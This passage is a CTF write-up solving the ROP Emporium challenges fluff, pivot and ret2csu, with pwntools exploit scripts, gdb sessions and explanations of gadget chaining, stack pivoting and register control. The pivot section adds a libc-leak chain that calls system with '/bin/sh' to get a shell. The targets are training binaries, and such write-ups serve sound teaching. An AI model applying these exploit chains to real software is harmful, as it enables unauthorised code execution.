day 2, my co-worker (shout out to him), told me that since we can point to anywhere we want just point it to the address in the binary itself, since random addresses can contain a byte that represent a character that we wanted, and THAT IS BRILLIANT.

so i tried searching with ropper and there it is!

┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ropper --string "f|l|a|g|.|t|x" -f fluff | awk '{ print $2, $1 }' | sort
 =======
. 0x0040024e
. 0x00400251
. 0x004003c9
. 0x004003fd
. 0x00400400
. 0x00400434
. 0x00400436
. 0x00400439
----- -------
a 0x004003d6
a 0x0040040c
a 0x00400411
a 0x00400418
a 0x0040041a
a 0x00400424
f 0x004003c4
f 0x004003c7
f 0x004003c8
f 0x004003e2
f 0x004003f4
g 0x004003cf
g 0x004007a0
l 0x00400239
l 0x0040023f
l 0x00400242
l 0x004003c1
l 0x004003c5
l 0x004003e4
l 0x004003f9
l 0x00400405
t 0x004003d5
t 0x004003d8
t 0x004003e0
t 0x004003f1
t 0x0040040b
t 0x0040040e
t 0x00400419
t 0x00400423
t 0x00400426
t 0x004006cb
t 0x004006ce
Value Address
x 0x00400246
x 0x00400248
x 0x004006c8
x 0x00400725
x 0x00400751
x 0x00400778
x 0x004007bc
 Strings

that's all we wanted for the string flag.txt, let's craft the payload!

from pwn import *

pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628

# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2

print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40

p = process("./fluff")
gdb.attach(p, """
           break *0x40062a
           break *0x400628
           break print_file
           """)

payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx)
payload += p64(xlat) + p64(pop_rdi) + p64(data_sec) + p64(stos)

p.sendline(payload)
p.interactive()

let's can try this and see if it works.

     0x400626 <usefulFunction+15> pop    rbp
     0x400627 <usefulFunction+16> ret
●    0x400628 <questionableGadgets+0> xlat   BYTE PTR ds:[rbx]
 →   0x400629 <questionableGadgets+1> ret
   ↳    0x4006a3 <__libc_csu_init+99> pop    rdi
        0x4006a4 <__libc_csu_init+100> ret
        0x4006a5                  nop
        0x4006a6                  cs     nop WORD PTR [rax+rax*1+0x0]
        0x4006b0 <__libc_csu_fini+0> repz   ret
        0x4006b2                  add    BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 →  <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rax
rax            0x67                0x67

wait, why do we get 0x67 it should be 0x66 what's going on? let's try that again and see the register before xlat maybe rax is something before xlat and that might interfere with our payload.

●→   0x400628 <questionableGadgets+0> xlat   BYTE PTR ds:[rbx]
     0x400629 <questionableGadgets+1> ret
●    0x40062a <questionableGadgets+2> pop    rdx
     0x40062b <questionableGadgets+3> pop    rcx
     0x40062c <questionableGadgets+4> add    rcx, 0x3ef2
     0x400633 <questionableGadgets+11> bextr  rbx, rcx, rdx
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400628 in questionableGadgets (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400628 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 →  <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rax
rax            0xb                 0xb

i see, that's why we don't get 0x66 or f, the offset might point to something else, so let's calculate where we are going to point to before xlat is executed by subtracting 0xb from the address.

...
payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx - 0xb)
...
     0x400626 <usefulFunction+15> pop    rbp
     0x400627 <usefulFunction+16> ret
●    0x400628 <questionableGadgets+0> xlat   BYTE PTR ds:[rbx]
 →   0x400629 <questionableGadgets+1> ret
   ↳    0x4006a3 <__libc_csu_init+99> pop    rdi
        0x4006a4 <__libc_csu_init+100> ret
        0x4006a5                  nop
        0x4006a6                  cs     nop WORD PTR [rax+rax*1+0x0]
        0x4006b0 <__libc_csu_fini+0> repz   ret
        0x4006b2                  add    BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7ffc6a50100a → rex add BYTE PTR [rax], al
[#6] 0x7feda750d000 →  <_rtld_global+0> shl dl, 0x50
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rax
rax            0x66                0x66

yeah! that's what we wanted now let's craft the full payload. remember that everytime we get a character out, our al is gonna change so we have to calculate for the last string we wrote into the memory.

from pwn import *

pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628

# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2

print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40

p = process("./fluff")
gdb.attach(p, """
           break *0x40062a
           break *0x400628
           break print_file
           """)

def writeToMem(addr, index, al = 0xb):
    return p64(bextr) + p64(0x4000) + p64(addr - add_rcx - al) + p64(xlat) + p64(pop_rdi) + p64(data_sec + index) + p64(stos)

flag_file = "flag.txt"
flagList = [0x004003c4, 0x00400239, 0x004003d6, 0x004003cf, 0x0040024e, 0x004003d5, 0x00400246 ,0x004003d5]

payload = padding + writeToMem(flagList[0], 0)

for i, char in enumerate(flag_file):
    # we already wrote the first character, and we only loop for the recently added character
    if i == len(flag_file) - 1:
        break

    payload += writeToMem(flagList[i + 1], i + 1, ord(char))

payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)
p.interactive()
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ python solve.py
[+] Starting local process './fluff': pid 58410
[*] running in new terminal: ['/usr/bin/gdb', '-q', './fluff', '58410', '-x', '/tmp/pwncifz4jv2.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}

finally, we got the flag, i learnt a really neat trick from this challenge, to be honest, this challenge was very difficult for me but it's pretty fun using uncommon instructions so yeah nicesu nicesu!!

7. pivot

the seventh challenge, in this challenge, the objective is to call a function ret2win that lives within an imported library and the stack is only small enough for a small rop chain, but the challenge provides us a space address with an address pointing to it. so we can write our full ropchain there and then "pivot" into that address.

there're several gadgets for us to work on within the binary

$ objdump -M intel --disassemble=usefulGadgets -S pivot

pivot:     file format elf64-x86-64


Disassembly of section .init:

Disassembly of section .plt:

Disassembly of section .text:

00000000004009bb <usefulGadgets>:
  4009bb:       58                      pop    rax
  4009bc:       c3                      ret
  4009bd:       48 94                   xchg   rsp,rax
  4009bf:       c3                      ret
  4009c0:       48 8b 00                mov    rax,QWORD PTR [rax]
  4009c3:       c3                      ret
  4009c4:       48 01 e8                add    rax,rbp
  4009c7:       c3                      ret
  4009c8:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  4009cf:       00

we can use pop rax; ret; xchg rsp, rax; ret to change the stack point to our pivot address.

let's look into what's inside the binary.

gef➤  i func
All defined functions:

Non-debugging symbols:
0x00000000004006a0  _init
0x00000000004006d0  free@plt
0x00000000004006e0  puts@plt
0x00000000004006f0  printf@plt
0x0000000000400700  memset@plt
0x0000000000400710  read@plt
0x0000000000400720  foothold_function@plt
0x0000000000400730  malloc@plt
0x0000000000400740  setvbuf@plt
0x0000000000400750  exit@plt
0x0000000000400760  _start
0x0000000000400790  _dl_relocate_static_pie
0x00000000004007a0  deregister_tm_clones
0x00000000004007d0  register_tm_clones
0x0000000000400810  __do_global_dtors_aux
0x0000000000400840  frame_dummy
0x0000000000400847  main
0x00000000004008f1  pwnme
0x00000000004009a8  uselessFunction
0x00000000004009bb  usefulGadgets
0x00000000004009d0  __libc_csu_init
0x0000000000400a40  __libc_csu_fini
0x0000000000400a44  _fini

there's one function that is imported from libpivot into the binary which is foothold_function but there's no ret2win imported, does that mean we can't call ret2win?

no, ret2win is still possible to be call if we leaked the address of foothold_function and calculate the address to ret2win it is possible to be called.

okay, if you did not read the beginner's guide of ROP Emporium yet, consider reading it now otherwise it won't make that much sense going forword.

alright, now what do we have to do to leak the address of foothold_function? from the description of the challenge, the function is imported but is not used so the got.plt of foothold_function is not updated yet, what we have to do here is to call it using our rop chain and then leak the updated address in got.plt.

after that we can use puts to leak the address of the updated got.plt of foothold_function then, use it to calculate the address in the library itself so that we get the base address of the library, then we can simply take the offset of ret2win and add it to the base address to get the runtime address of ret2win. after that we can call main again and send new chain with the address of ret2win.

let's craft the chain to do so.

from pwn import *

elf = context.binary = ELF("./pivot")
libpivot = ELF("./libpivot.so")
rop = ROP(elf)
p = process()

# gdb.attach(p, "break foothold_function")

padding = b"x" * 40

main_plt = elf.symbols["main"]
foothold_plt = elf.plt["foothold_function"]
foothold_got = elf.got["foothold_function"]
puts_plt = elf.plt["puts"]

p.recvuntil(b"libpivot\n")

pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")

payload = p64(foothold_plt) + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(foothold_got) + p64(puts_plt) + p64(main_plt)

p.sendline(payload)

p.clean()

xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))

p.recvline()
p.recvline()

leak_foothold_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_foothold_bytes.reverse()

leak_foothold = int.from_bytes(leak_foothold_bytes)

log.info(f"leaked foothold {hex(leak_foothold)}")

base_libpivot = leak_foothold - libpivot.symbols["foothold_function"]

ret2win = base_libpivot + libpivot.symbols["ret2win"]

log.info(f"ret2win location: {hex(ret2win)}, we are jumping now!")

p.clean()

p.sendline(padding + p64(ret2win))
p.interactive()

let's try it.

$ python solve.py
[*] '/home/kali/ctf/rop/pivot/pivot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[*] '/home/kali/ctf/rop/pivot/libpivot.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 15 cached gadgets for './pivot'
[+] Starting local process '/home/kali/ctf/rop/pivot/pivot': pid 1837
[*] pivot location: 0x7efc12619f10
[*] leaked foothold 0x7efc1280096a
[*] ret2win location: 0x7efc12800a81, we are jumping now!
[*] Switching to interactive mode
[*] Process '/home/kali/ctf/rop/pivot/pivot' stopped with exit code 0 (pid 1837)
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

very nice, now that we have this knowledge, we can just leak the address of libc to get a shell by calling system with /bin/sh as an argument. you should try it yourself.

hmm?
from pwn import *

elf = context.binary = ELF("./pivot")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
p = process()

# gdb.attach(p, "break foothold_function")

padding = b"x" * 40

main_plt = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

p.recvuntil(b"libpivot\n")

pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")

payload = p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(puts_got) + p64(puts_plt) + p64(main_plt)

p.sendline(payload)

p.clean()

xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))

p.recvline()

leak_puts_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_puts_bytes.reverse()

leak_puts = int.from_bytes(leak_puts_bytes)
log.info(f"leaked puts {hex(leak_puts)}")

base_libc = leak_puts - libc.symbols["puts"]

bin_sh = base_libc + next(libc.search(b"/bin/sh"))
system = base_libc + libc.symbols["system"]

log.info(f"system location: {hex(system)} with arg {hex(bin_sh)}, we are jumping now!")

p.clean()

p.sendline(padding + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(bin_sh) + p64(system))
p.interactive()

there's also other ways to solve this challenge such as writing got.plt with something else, or use one_gadget or loading got.plt into memory, modify it and call it using call reg. but i've had enough of it so, nicesu nicesu!!

8. ret2csu

the final challenge of ROP Emporium, the challenge is similar to callme which requires us to call a ret2win function with an arguments of ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) but this time there's a limited gadgets for us to work with.

so what's ret2csu exactly?

ret2csu is a technique that allows us to control registers when gadgets are lacking in the binary more information can be found in this paper

in this paticular case, the binary imported libc so there's a function called __libc_csu_init which is very important for us to uses to control registers.

gef➤  disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000400640 <+0>:     push   r15
   0x0000000000400642 <+2>:     push   r14
   0x0000000000400644 <+4>:     mov    r15,rdx
   0x0000000000400647 <+7>:     push   r13
   0x0000000000400649 <+9>:     push   r12
   0x000000000040064b <+11>:    lea    r12,[rip+0x20079e]        # 0x600df0
   0x0000000000400652 <+18>:    push   rbp
   0x0000000000400653 <+19>:    lea    rbp,[rip+0x20079e]        # 0x600df8
   0x000000000040065a <+26>:    push   rbx
   0x000000000040065b <+27>:    mov    r13d,edi
   0x000000000040065e <+30>:    mov    r14,rsi
   0x0000000000400661 <+33>:    sub    rbp,r12
   0x0000000000400664 <+36>:    sub    rsp,0x8
   0x0000000000400668 <+40>:    sar    rbp,0x3
   0x000000000040066c <+44>:    call   0x4004d0 <_init>
   0x0000000000400671 <+49>:    test   rbp,rbp
   0x0000000000400674 <+52>:    je     0x400696 <__libc_csu_init+86>
   0x0000000000400676 <+54>:    xor    ebx,ebx
   0x0000000000400678 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:    add    rbx,0x1
   0x0000000000400691 <+81>:    cmp    rbp,rbx
   0x0000000000400694 <+84>:    jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:    add    rsp,0x8
   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret
End of assembler dump.

this is the full disassembly of __libc_csu_init, you might see something that represent gadgets here from the line <+90> to <+100> and <+64> to <+73>

   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]

these's might not look like gadgets at first, but we can actually control 3 of the registers for calling a function which are edi, rsi and rdx.

there're also pop instructions floating around in the binary for rdi and rsi but i decided to just use the instructions from __libc_csu_init to do the job.

note that call QWORD PTR [r12+rbx*8] is not call r12+rbx*8, this instruction calculate for the address of r12+rbx*8 and then reference it, get the address from memory and then call that address.

let's try to use these to manipulate registers and call ret2win.

from pwn import *

p = process("./ret2csu")

gdb.attach(p, """break ret2win""")

# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a

# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680

ret2win = 0x400510
ret2win_got = 0x601020

arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d

padding = b"x" * 40

payload = flat([
        padding,
        pop,
        0,
        0,
        ret2win_got,
        arg_1,
        arg_2,
        arg_3,
        mov,
],word_size=64)

p.sendline(payload)

p.interactive()

let's try it.

 → 0x7f2a9ae009d7 <ret2win+4>      sub    rsp, 0x30
   0x7f2a9ae009db <ret2win+8>      mov    QWORD PTR [rbp-0x18], rdi
   0x7f2a9ae009df <ret2win+12>     mov    QWORD PTR [rbp-0x20], rsi
   0x7f2a9ae009e3 <ret2win+16>     mov    QWORD PTR [rbp-0x28], rdx
   0x7f2a9ae009e7 <ret2win+20>     mov    QWORD PTR [rbp-0x10], 0x0
   0x7f2a9ae009ef <ret2win+28>     movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7f2a9ae009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f2a9ae009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rdi rsi rdx
rdi            0xdeadbeef          0xdeadbeef
rsi            0xcafebabecafebabe  0xcafebabecafebabe
rdx            0xd00df00dd00df00d  0xd00df00dd00df00d

looking at the debugger our rdi is not correct yet but other registers are. what can we do here? maybe we can try to pop rdi to 0xdeadbeefdeadbeef first and then calling the gadgets from csu later on so let's try that.

from this paper we can do pop rdi directly by offsetting the pop gadgets from __libc_csu_init and here's the new payload.

payload = flat([
        padding,
        pop + 0x9,
        arg_1,
        pop,
        0,
        0,
        ret2win_got,
        arg_1,
        arg_2,
        arg_3,
        mov,
],word_size=64)

let's try it.

 → 0x7fe2490009d7 <ret2win+4>      sub    rsp, 0x30
   0x7fe2490009db <ret2win+8>      mov    QWORD PTR [rbp-0x18], rdi
   0x7fe2490009df <ret2win+12>     mov    QWORD PTR [rbp-0x20], rsi
   0x7fe2490009e3 <ret2win+16>     mov    QWORD PTR [rbp-0x28], rdx
   0x7fe2490009e7 <ret2win+20>     mov    QWORD PTR [rbp-0x10], 0x0
   0x7fe2490009ef <ret2win+28>     movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7fe2490009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fe2490009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rdi rsi rdx
rdi            0xdeadbeef          0xdeadbeef
rsi            0xcafebabecafebabe  0xcafebabecafebabe
rdx            0xd00df00dd00df00d  0xd00df00dd00df00d

so that doesn't work, hmm... what can we do now? i stuck here for a while then i came up with the idea of what if, i can somehow bypass the call instruction and go right to ret so then we can chain more registers to do stuff like pop rdi for example.

after researching for a while i found this book from hacktricks, looking at it i found that it mentions initPtr and i took a dive to see what this is, i assumed that it's the function _init that lives in the binary.

gef➤  disas _init
Dump of assembler code for function _init:
   0x00000000004004d0 <+0>:     sub    rsp,0x8
   0x00000000004004d4 <+4>:     mov    rax,QWORD PTR [rip+0x200b1d]        # 0x600ff8
   0x00000000004004db <+11>:    test   rax,rax
   0x00000000004004de <+14>:    je     0x4004e2 <_init+18>
   0x00000000004004e0 <+16>:    call   rax
   0x00000000004004e2 <+18>:    add    rsp,0x8
   0x00000000004004e6 <+22>:    ret

hmm, it's a relatively small function so maybe we can probably use this to bypass the call function and get to execute instructions after the call instruction and landing at ret instruction, after that we can do pop rdi and then call ret2win function.

but hold on, how do we find where 0x4004d0 live with in the binary? we can use &_DYNAMIC section to find the location of 0x4004d0 using gdb

gef➤  x/10xg &_DYNAMIC
0x600e00:       0x0000000000000001      0x0000000000000001
0x600e10:       0x0000000000000001      0x0000000000000038
0x600e20:       0x000000000000001d      0x0000000000000078
0x600e30:       0x000000000000000c      0x00000000004004d0
0x600e40:       0x000000000000000d      0x00000000004006b4

gef➤  x/xg 0x600e38
0x600e38:       0x00000000004004d0

so 0x600e38 it is.

there's something to consider before writing our script, let's look into __libc_csu_init one more time.

-----
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:    add    rbx,0x1
   0x0000000000400691 <+81>:    cmp    rbp,rbx
   0x0000000000400694 <+84>:    jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:    add    rsp,0x8
   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret
End of assembler dump.

after call instruction there's some conditions to be met to reach ret instruction, we have to make rbp equal to rbx otherwise it will jump back to mov and call again after that we just have to add junks to fill for pop instructions, we also have to account for add rsp,0x8 with some junks too.

let's craft the final expliot

from pwn import *

p = process("./ret2csu")

gdb.attach(p, """break ret2win""")

# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a

# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680

ret2win = 0x400510
init_ptr = 0x600e38

arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d

padding = b"x" * 40

payload = flat([
        padding,
        pop,
        0, # rbx
        1, # add one so that rbp is equal to rbx after add rbx,0x1
        init_ptr,
        0,
        arg_2,
        arg_3,
        mov,
        0, # add rsp,0x8 padding
        0,
        0,
        0,
        0,
        0,
        0,
        pop + 0x9,
        arg_1,
        ret2win,
],word_size=64)

p.sendline(payload)

p.interactive()

let's run it!

$ python solve.py
[+] Starting local process './ret2csu': pid 2083
[*] running in new terminal: ['/usr/bin/gdb', '-q', './ret2csu', '2083', '-x', '/tmp/pwnb34fq9vj.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ret2csu by ROP Emporium
x86_64

Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Process './ret2csu' stopped with exit code 0 (pid 2083)
[*] Got EOF while reading in interactive

andddddddd it's done! nicesu nicesu!

we can also use _fini too since it's basically doing nothing

gef➤  disas _fini
Dump of assembler code for function _fini:
   0x00000000004006b4 <+0>:     sub    rsp,0x8
   0x00000000004006b8 <+4>:     add    rsp,0x8
   0x00000000004006bc <+8>:     ret

either way is fine, we since we pwned it anyway haha.

alright!, we pwned all of ROP Emporium challenges, if you stick around until this point, thank you so much, i hope you had fun doing these challenges, like i did. see you next time!